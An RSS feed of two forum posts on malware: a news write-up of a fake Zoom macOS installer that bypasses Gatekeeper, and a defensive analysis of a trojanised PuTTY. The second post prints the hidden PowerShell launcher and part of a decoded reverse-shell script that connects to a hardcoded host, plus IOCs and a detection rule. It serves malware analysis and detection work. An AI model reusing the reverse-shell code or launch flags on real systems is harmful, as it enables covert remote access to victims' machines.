<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged malware</title>
<link>https://coderlegion.com/tag/malware</link>
<description>Powered by Question2Answer</description>
<item>
<title>Fake Zoom Mac Installer Skips Gatekeeper, Steals Data</title>
<link>https://coderlegion.com/30518/fake-zoom-mac-installer-skips-gatekeeper-steals-data</link>
<description>&lt;h3 id=&quot;what-happened-a-fake-zoom-installer-on-macos&quot;&gt;What Happened: A Fake Zoom Installer on macOS&lt;/h3&gt;
&lt;p&gt;Jamf, a leading provider of Apple‑focused security solutions, recently uncovered a malicious installer masquerading as the official Zoom client for macOS. The installer is distributed through unofficial channels and is deliberately crafted to look identical to Zoom’s legitimate download page. When a user runs the package, the malware performs a “double installation”:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Legitimate Zoom binary&lt;/strong&gt; – The real Zoom client is installed in the expected location, allowing the user to join meetings without suspicion. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hidden infostealer&lt;/strong&gt; – A second payload is dropped alongside Zoom. This component silently monitors the system, captures credentials, browser cookies, and other sensitive data, then exfiltrates the information to a command‑and‑control (C2) server controlled by the attacker.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Jamf’s analysis notes that the installer “uses a sneaky way to bypass Apple’s Gatekeeper protection against malware.” By exploiting a weakness in the notarization process, the malicious package is allowed to run without triggering the usual warnings that macOS users rely on.&lt;/p&gt;
&lt;h3 id=&quot;technical-breakdown-of-the-gatekeeper-bypass&quot;&gt;Technical Breakdown of the Gatekeeper Bypass&lt;/h3&gt;
&lt;p&gt;Gatekeeper is Apple’s first line of defense against unsigned or malicious software. It checks that an app is notarized by Apple and that its code signature matches the published hash. The fake Zoom installer sidesteps these checks through a combination of techniques:&lt;/p&gt;
&lt;h4 id=&quot;1-dual-package-wrapper&quot;&gt;1. Dual‑Package Wrapper&lt;/h4&gt;
&lt;p&gt;The malicious DMG contains two separate installer bundles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Zoom.pkg&lt;/strong&gt; – A properly signed Zoom package downloaded directly from Zoom’s official servers. Because it is notarized, Gatekeeper passes it without issue. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stealer.pkg&lt;/strong&gt; – An unsigned, malicious package that is embedded inside the same DMG but is not directly presented to Gatekeeper. Instead, the installer script extracts and runs it after the legitimate Zoom.pkg finishes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;2-post-installation-script-abuse&quot;&gt;2. Post‑Installation Script Abuse&lt;/h4&gt;
&lt;p&gt;During the Zoom installation, a post‑install script is executed with elevated privileges. The script performs the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Verifies the integrity of the Zoom binary (a decoy check that always succeeds). &lt;/li&gt;
&lt;li&gt;Copies the hidden stealer payload to &lt;code&gt;/Library/Application Support/Zoom/&lt;/code&gt; where it blends in with legitimate Zoom files. &lt;/li&gt;
&lt;li&gt;Registers a launch daemon (&lt;code&gt;com.zoom.helper.plist&lt;/code&gt;) that runs the stealer at login, ensuring persistence.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;3-code-signing-spoofing&quot;&gt;3. Code‑Signing Spoofing&lt;/h4&gt;
&lt;p&gt;The attacker re‑signs the stealer payload with a self‑generated certificate that mimics Zoom’s developer ID. macOS treats the certificate as valid for the duration of the installation, but the signature is never verified against Apple’s notarization service because the payload is never submitted for notarization.&lt;/p&gt;
&lt;p&gt;These tactics collectively allow the malicious code to “fly under the radar” of Gatekeeper, a scenario reminiscent of the Zoom annotation flaw that was recently patched after an AI‑prompt exploit. For more context on how Zoom’s attack surface is being weaponized, see the detailed coverage here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ltdeveloperblogs.github.io/posts/zoomsday-hack-uncovered-using-fewer-than-20-ai-prompts&quot;&gt;https://ltdeveloperblogs.github.io/posts/zoomsday-hack-uncovered-using-fewer-than-20-ai-prompts&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;why-it-matters-for-users-and-enterprises&quot;&gt;Why It Matters for Users and Enterprises&lt;/h3&gt;
&lt;h4 id=&quot;erosion-of-trust-in-trusted-platforms&quot;&gt;Erosion of Trust in Trusted Platforms&lt;/h4&gt;
&lt;p&gt;Apple markets macOS as a secure ecosystem, and Gatekeeper is a cornerstone of that promise. When a widely used application like Zoom becomes a vector for stealthy malware, the perceived safety of the platform erodes. Users may become reluctant to install legitimate software, slowing productivity and increasing support overhead.&lt;/p&gt;
&lt;h4 id=&quot;data-theft-risks&quot;&gt;Data‑Theft Risks&lt;/h4&gt;
&lt;p&gt;The infostealer is capable of harvesting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Credentials&lt;/strong&gt; – Saved passwords from browsers, keychains, and VPN clients. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Corporate Information&lt;/strong&gt; – Documents stored in local folders, meeting recordings, and shared drive links. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session Tokens&lt;/strong&gt; – Tokens for cloud services (e.g., Microsoft 365, Google Workspace) that can be reused for lateral movement within an organization.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A successful breach can lead to credential stuffing attacks, ransomware deployment, or espionage. Enterprises that rely on Zoom for remote collaboration are especially vulnerable because the legitimate Zoom client provides a convenient foothold for the attacker.&lt;/p&gt;
&lt;h4 id=&quot;compliance-implications&quot;&gt;Compliance Implications&lt;/h4&gt;
&lt;p&gt;Many regulated industries (healthcare, finance, government) must demonstrate that they protect personal data under standards such as HIPAA, GDPR, or PCI‑DSS. An undetected infostealer could constitute a violation, resulting in fines and reputational damage.&lt;/p&gt;
&lt;h3 id=&quot;industry-impact-and-response&quot;&gt;Industry Impact and Response&lt;/h3&gt;
&lt;h4 id=&quot;vendor-reaction&quot;&gt;Vendor Reaction&lt;/h4&gt;
&lt;p&gt;Zoom has issued a statement confirming that its official installers are safe and urging users to download only from the official website. The company is also reviewing its distribution channels to detect and block repackaged installers.&lt;/p&gt;
&lt;p&gt;Apple, for its part, is expected to release an emergency update to Gatekeeper that tightens verification of nested installers. Historically, Apple has responded quickly to similar threats—recall the rapid patch cycle after the “XcodeGhost” incident in 2015.&lt;/p&gt;
&lt;h4 id=&quot;security-community-mobilization&quot;&gt;Security Community Mobilization&lt;/h4&gt;
&lt;p&gt;Jamf’s disclosure has sparked a wave of analysis across the security community. Researchers are scanning popular download mirrors, third‑party app stores, and even corporate intranets for the same DMG hash. The incident also underscores the importance of endpoint detection and response (EDR) solutions that can spot anomalous post‑install scripts.&lt;/p&gt;
&lt;h4 id=&quot;broader-market-trends&quot;&gt;Broader Market Trends&lt;/h4&gt;
&lt;p&gt;The attack highlights a growing trend: &lt;strong&gt;malware that piggybacks on trusted software&lt;/strong&gt;. As users become more security‑aware, attackers increasingly rely on “double‑installation” tactics to blend in. This mirrors the tactics seen in the Chinese Auto Giant Moves to Apple Wallet Car Keys article, where attackers attempted to exploit Apple’s ecosystem in the automotive domain. For a broader view of how Apple’s ecosystem is being targeted, see: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ltdeveloperblogs.github.io/posts/yet-another-major-chinese-car-brand-is-preparing-to-support-car-keys-in-apple-wallet&quot;&gt;https://ltdeveloperblogs.github.io/posts/yet-another-major-chinese-car-brand-is-preparing-to-support-car-keys-in-apple-wallet&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;mitigation-and-best-practices&quot;&gt;Mitigation and Best Practices&lt;/h3&gt;
&lt;h4 id=&quot;immediate-steps-for-end-users&quot;&gt;Immediate Steps for End Users&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Download Only From Official Sources&lt;/strong&gt; – Always obtain Zoom from &lt;a rel=&quot;nofollow&quot; href=&quot;https://zoom.us/download&quot;&gt;https://zoom.us/download&lt;/a&gt; or the Mac App Store. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify Checksums&lt;/strong&gt; – When a DMG is provided, compare its SHA‑256 hash with the value published on Zoom’s website. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable Full Disk Encryption&lt;/strong&gt; – FileVault adds a layer of protection if the infostealer attempts to read unencrypted data.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;enterprise-level-controls&quot;&gt;Enterprise‑Level Controls&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Application Whitelisting&lt;/strong&gt; – Use macOS’s built‑in &lt;code&gt;spctl&lt;/code&gt; tool or a third‑party MDM to allow only signed, notarized Zoom binaries.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable Gatekeeper Strict Mode&lt;/strong&gt; – Administrators can enforce the &lt;code&gt;--strict&lt;/code&gt; flag via &lt;code&gt;spctl --master-enable --global-policy&lt;/code&gt; to reject any app that isn’t notarized, even if it’s bundled inside a signed installer. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor Launch Daemons&lt;/strong&gt; – Regularly audit &lt;code&gt;/Library/LaunchDaemons/&lt;/code&gt; and &lt;code&gt;~/Library/LaunchAgents/&lt;/code&gt; for unexpected &lt;code&gt;com.zoom.*&lt;/code&gt; plist files. The malicious installer registers a daemon named &lt;code&gt;com.zoom.helper.plist&lt;/code&gt;; its presence outside of Zoom’s official documentation is a red flag. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Leverage Endpoint Detection &amp;amp; Response (EDR)&lt;/strong&gt; – Deploy EDR rules that trigger on the creation of files in &lt;code&gt;~/Library/Application Support/Zoom/&lt;/code&gt; that are not part of the official Zoom bundle, or on the execution of unsigned binaries from that directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Read the full breakdown originally published at &lt;a rel=&quot;nofollow&quot; href=&quot;https://ltdeveloperblogs.github.io/posts/this-fake-mac-zoom-installer-has-a-sneaky-way-to-bypass-gatekeeper/&quot;&gt;https://ltdeveloperblogs.github.io/posts/this-fake-mac-zoom-installer-has-a-sneaky-way-to-bypass-gatekeeper/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30518/fake-zoom-mac-installer-skips-gatekeeper-steals-data</guid>
<pubDate>Fri, 09 Oct 2026 22:46:10 +0000</pubDate>
</item>
<item>
<title>A working PuTTY with a reverse shell bolted on</title>
<link>https://coderlegion.com/28268/a-working-putty-with-a-reverse-shell-bolted-on</link>
<description>&lt;h3 id=&quot;why-a-trojanised-utility-is-harder-to-catch-than-a-malicious-one-and-what-actually-gives-it-away&quot;&gt;Why a trojanised utility is harder to catch than a malicious one, and what actually gives it away&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Vasilis Mantas&lt;/strong&gt;, Threat Detection Engineer&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A functioning copy of PuTTY, modified to launch a hidden PowerShell process one second after the SSH client opens. The PowerShell command is base64 encoded and gzip compressed. Decoded, it is a reverse shell that connects over TLS to &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt; on port 8443. The SSH client works normally throughout, which is the entire point.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The two samples I wrote up previously announced themselves. One deleted itself. The other encrypted the filesystem and put a ransom note on the desktop. This one does neither. It opens PuTTY, you SSH into whatever you were going to SSH into, and nothing appears to be wrong.&lt;/p&gt;
&lt;p&gt;That difference matters more than the technical sophistication, which is honestly not high. The payload here is a fairly standard PowerShell reverse shell of the kind that has been circulating for years. What makes it worth writing about is the delivery: a legitimate tool that still does its job, aimed at people who install SSH clients, which is to say administrators.&lt;/p&gt;
&lt;p&gt;As with the previous write-ups, this sample comes from a training set rather than a live incident.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;sample-details&quot;&gt;Sample details&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Property &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;MD5 &lt;/td&gt;&lt;td&gt;&lt;code&gt;334a10500feb0f3444bf2e86ab2e76da&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;SHA-256 &lt;/td&gt;&lt;td&gt;&lt;code&gt;0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Imphash &lt;/td&gt;&lt;td&gt;&lt;code&gt;19C1DC3E60E2ECFC2C977BCB2019BBEF&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File size &lt;/td&gt;&lt;td&gt;1,545,216 bytes (1.47 MB)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Architecture &lt;/td&gt;&lt;td&gt;32-bit, GUI subsystem&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Compiler timestamp &lt;/td&gt;&lt;td&gt;10 July 2021, 09:51:55 UTC&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Entropy &lt;/td&gt;&lt;td&gt;7.394&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;VirusTotal &lt;/td&gt;&lt;td&gt;50 / 68 vendors flagged at time of analysis&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Lab &lt;/td&gt;&lt;td&gt;FlareVM (detonation), REMnux (network simulation)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;basic-static-analysis&quot;&gt;Basic static analysis&lt;/h3&gt;
&lt;p&gt;Hashes first, then VirusTotal. Fifty of sixty-eight engines flagged the file, which settles the question of whether it is worth looking at, though not much else.&lt;/p&gt;
&lt;p&gt;FLOSS produced a lot of output and very little signal. Over 41,000 strings, dominated by ordinary Windows API calls. There was nothing resembling a C2 address, no obvious command line, no encoded blob sitting in the clear. I spent longer on this than I should have before accepting that the interesting part was not going to be in the strings.&lt;/p&gt;
&lt;p&gt;PEStudio was more useful, mostly because of what it did not find.&lt;/p&gt;
&lt;p&gt;The manifest identity reads &lt;code&gt;PuTTY&lt;/code&gt;. The version resource names Simon Tatham. There is a URL pattern pointing to &lt;code&gt;https://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;/code&gt;, which is the genuine PuTTY homepage. Everything about the file's identity says it is PuTTY, and that is because most of it is.&lt;/p&gt;
&lt;p&gt;A few things stood out anyway:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Indicator &lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Entropy &lt;/td&gt;&lt;td&gt;7.394, high enough to suggest compressed or packed data somewhere in the file&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Writable and executable section &lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Embedded file &lt;/td&gt;&lt;td&gt;Compiled HTML in &lt;code&gt;.rsrc&lt;/code&gt;, offset &lt;code&gt;0x00121F43&lt;/code&gt;, size 3,255 bytes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Checksum &lt;/td&gt;&lt;td&gt;Invalid. Expected &lt;code&gt;0x00180BA0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Blacklisted strings &lt;/td&gt;&lt;td&gt;160&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Blacklisted functions &lt;/td&gt;&lt;td&gt;50&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The invalid checksum is the one I would call out to a junior analyst. A legitimately built and signed PuTTY release has a valid PE checksum. This one does not, because somebody modified the binary after it was compiled and did not bother to recalculate it. On its own that proves tampering, not malice, but combined with high entropy in a file this size it is enough to justify detonating.&lt;/p&gt;
&lt;p&gt;At this point the working hypothesis was simply that the file had been altered. I had no idea how yet.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;dynamic-analysis&quot;&gt;Dynamic analysis&lt;/h3&gt;
&lt;p&gt;The first detonation looked completely uneventful. PuTTY launched, the familiar configuration window appeared, and the application behaved exactly as expected. If I had run it once and moved on, I would have called it clean.&lt;/p&gt;
&lt;p&gt;On the third or fourth run I noticed a blue window flicker into existence and vanish, roughly a second after PuTTY started. It was on screen for a fraction of a second. This is worth dwelling on: the detection here came from running the sample repeatedly and watching the screen, not from any tool. Automated sandboxing would have caught the process creation, but a human clicking through once might not have caught anything at all.&lt;/p&gt;
&lt;p&gt;Procmon confirmed it. Filtering on &lt;code&gt;process name contains putty&lt;/code&gt; gave me PuTTY's PID, and filtering again on &lt;code&gt;ParentPID is &amp;lt;that PID&amp;gt;&lt;/code&gt; showed the child:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-console&quot;&gt;powershell.exe    Process Start    SUCCESS    Parent PID: 8096
powershell.exe    Load Image       C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PuTTY is an SSH client. It has no legitimate reason to spawn PowerShell, ever. That single parent and child relationship is the whole detection story, and I will come back to it.&lt;/p&gt;
&lt;p&gt;The command line was the payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;powershell.exe -nop -w hidden -noni -ep bypass
&quot;&amp;amp;([scriptblock]::create((New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream(
New-Object System.IO.MemoryStream(,$([Convert]::FromBase64String('H4sIAOW...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four flags before anything else happens. No profile, hidden window, no interactive prompt, execution policy bypassed. Each has a plausible individual use. Together, in one command line, they describe something that does not want to be seen or logged in the usual way.&lt;/p&gt;
&lt;p&gt;The structure that follows is base64 wrapped around gzip wrapped around a script block. The nesting is not clever, but it does mean the actual payload never appears as readable text in the process command line, which is where a lot of logging stops looking.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;decoding-the-payload&quot;&gt;Decoding the payload&lt;/h3&gt;
&lt;p&gt;Copying the base64 blob to REMnux and decoding it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;echo &quot;H4sIAOW/UWECA51W227jNhB991cMHUtIRbhdbAESLepVsGyD...&quot; | base64 -d &amp;gt; out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result was a gzip archive, which extracted to a plain text PowerShell script. &lt;code&gt;H4sI&lt;/code&gt; at the start of a base64 string is the gzip magic number and is a reliable tell once you have seen it a few times.&lt;/p&gt;
&lt;p&gt;The script defines a function called &lt;code&gt;powerfun&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;function powerfun {
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq &quot;bind&quot;) {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq &quot;reverse&quot;) {
            $client = New-Object System.Net.Sockets.TCPClient(
                &quot;bonus2.corporatebonusapplication.local&quot;, 8443)
        }
        $stream = $client.GetStream()
        if ($Sslcon -eq &quot;true&quot;) {
            $sslStream = New-Object System.Net.Security.SslStream(
                $stream, $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
            $sslStream.AuthenticateAsClient(
                &quot;bonus2.corporatebonusapplication.local&quot;)
            $stream = $sslStream
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It supports both directions. In bind mode it listens on 8443 and waits for someone to connect. In reverse mode it dials out to a hardcoded host on the same port. Reverse is the mode that matters in a corporate network, since outbound connections generally succeed where inbound ones do not.&lt;/p&gt;
&lt;p&gt;The certificate validation callback is set to return true unconditionally. The channel is encrypted, but the client will accept any certificate at all, including a self-signed one generated on the attacker's machine that morning. That is a deliberate choice: TLS here is for hiding the traffic from inspection, not for authenticating anything.&lt;/p&gt;
&lt;p&gt;One detail I like about the hostname. &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt; is not random-looking, and it is not trying to impersonate Microsoft or Google. It sounds like exactly the sort of dull internal application nobody questions. An analyst scanning a proxy log for suspicious domains is looking for something that stands out, and this does not.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;confirming-the-network-behaviour&quot;&gt;Confirming the network behaviour&lt;/h3&gt;
&lt;p&gt;With REMnux running inetsim as a fake DNS resolver, Wireshark showed the DNS query for &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt;, followed immediately by a TCP connection attempt to port 8443. The connection was reset, since nothing was actually listening.&lt;/p&gt;
&lt;p&gt;To see what the shell would send, I added the hostname to the Windows &lt;code&gt;hosts&lt;/code&gt; file pointing at &lt;code&gt;127.0.0.1&lt;/code&gt; and started a listener:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;ncat -nvlp 8443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The connection came in from &lt;code&gt;127.0.0.1:1052&lt;/code&gt;. The output was mostly unreadable binary, which is expected: this is the raw TLS Client Hello arriving at a plain TCP listener that does not speak TLS. Wireshark confirmed it as &lt;code&gt;TLSv1.2 Client Hello&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The handshake never completed, because I had no certificate to present. Fragments of readable text did come through, including the hostname and the string &lt;code&gt;whoami&lt;/code&gt;, which suggests the operator side sends an initial command as soon as the session opens.&lt;/p&gt;
&lt;p&gt;I could have gone further here by generating a self-signed certificate and using &lt;code&gt;openssl s_server&lt;/code&gt; or &lt;code&gt;ncat --ssl&lt;/code&gt; to complete the handshake and capture the full session. I did not, and I would do that differently next time. The behaviour was established well enough to write detections against, but seeing the actual command sequence would have been more useful.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Type &lt;/th&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SHA-256 &lt;/td&gt;&lt;td&gt;&lt;code&gt;0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;MD5 &lt;/td&gt;&lt;td&gt;&lt;code&gt;334a10500feb0f3444bf2e86ab2e76da&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Imphash &lt;/td&gt;&lt;td&gt;&lt;code&gt;19C1DC3E60E2ECFC2C977BCB2019BBEF&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Domain &lt;/td&gt;&lt;td&gt;&lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Port &lt;/td&gt;&lt;td&gt;TCP 8443, TLS with certificate validation disabled&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Process ancestry &lt;/td&gt;&lt;td&gt;&lt;code&gt;putty.exe&lt;/code&gt; spawning &lt;code&gt;powershell.exe&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command line &lt;/td&gt;&lt;td&gt;&lt;code&gt;-nop -w hidden -noni -ep bypass&lt;/code&gt; with &lt;code&gt;FromBase64String&lt;/code&gt; and &lt;code&gt;GzipStream&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;PE anomaly &lt;/td&gt;&lt;td&gt;Invalid checksum on a file identifying itself as PuTTY&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mitre-att-amp-ck-mapping&quot;&gt;MITRE ATT&amp;amp;CK mapping&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Tactic &lt;/th&gt;&lt;th&gt;Technique&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Initial Access &lt;/td&gt;&lt;td&gt;T1195.002, Supply Chain Compromise: Compromise Software Supply Chain&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1204.002, User Execution: Malicious File&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1059.001, Command and Scripting Interpreter: PowerShell&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1036.005, Masquerading: Match Legitimate Name or Location&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1027, Obfuscated Files or Information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1140, Deobfuscate or Decode Files or Information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1573.002, Encrypted Channel: Asymmetric Cryptography&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1571, Non-Standard Port&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;detection-guidance&quot;&gt;Detection guidance&lt;/h3&gt;
&lt;p&gt;The hash is worthless the moment someone recompiles. The domain is worthless the moment it is published. Here is what survives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Process ancestry is the strongest signal by a wide margin.&lt;/strong&gt; A GUI application spawning a command interpreter is anomalous in almost every case. PuTTY specifically has no legitimate reason to do it. You do not need to understand anything about the payload to catch this.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;title: SSH or Remote Access Client Spawning PowerShell
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\putty.exe'
      - '\kitty.exe'
      - '\winscp.exe'
      - '\mobaxterm.exe'
  child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
  condition: parent and child
falsepositives:
  - Rare. Investigate every hit.
level: high
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep the parent list short and specific. The temptation is to expand it to every application on the estate, at which point the rule becomes a general anomaly detector and starts producing noise you will eventually mute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Encoded PowerShell in a command line.&lt;/strong&gt; The combination of &lt;code&gt;FromBase64String&lt;/code&gt; with &lt;code&gt;GzipStream&lt;/code&gt; or &lt;code&gt;DeflateStream&lt;/code&gt; is a strong pattern. Legitimate administrative scripting does occasionally base64 encode arguments, but it rarely also compresses them. Requiring both cuts the false positive rate substantially.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Suppressed PowerShell execution flags.&lt;/strong&gt; Alert on &lt;code&gt;-nop&lt;/code&gt; together with &lt;code&gt;-w hidden&lt;/code&gt; and &lt;code&gt;-ep bypass&lt;/code&gt; appearing in one command line. Any one alone is common. All three together is close to diagnostic, though some legitimate deployment tooling does use them, so check your own estate before enabling this in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Outbound TLS to 8443 from an unexpected process.&lt;/strong&gt; Port 8443 has legitimate uses, so do not alert on the port alone. Alert when the initiating process is a scripting host rather than a browser or a known application.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PE checksum validation on portable utilities.&lt;/strong&gt; This one is less common but worth considering if you have the telemetry. Administrators download standalone tools constantly, and a mismatch between a file's declared identity and its structural integrity is a cheap thing to check.&lt;/p&gt;
&lt;p&gt;All of the above needs testing against your own data before it goes anywhere near production. My false positive assumptions come from the environments I have worked in, not yours.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-i-would-take-from-this-one&quot;&gt;What I would take from this one&lt;/h3&gt;
&lt;p&gt;The delivery mechanism was more interesting than the payload, and I think that is generally true of trojanised utilities. Anyone can find a PowerShell reverse shell. Getting an administrator to run it voluntarily, repeatedly, with a working SSH client as cover, is the harder problem, and this sample solves it neatly.&lt;/p&gt;
&lt;p&gt;Repeated detonation caught what a single run missed. The PowerShell window was visible for well under a second. That is a genuine argument for detonating several times and watching, rather than executing once and going straight to the logs.&lt;/p&gt;
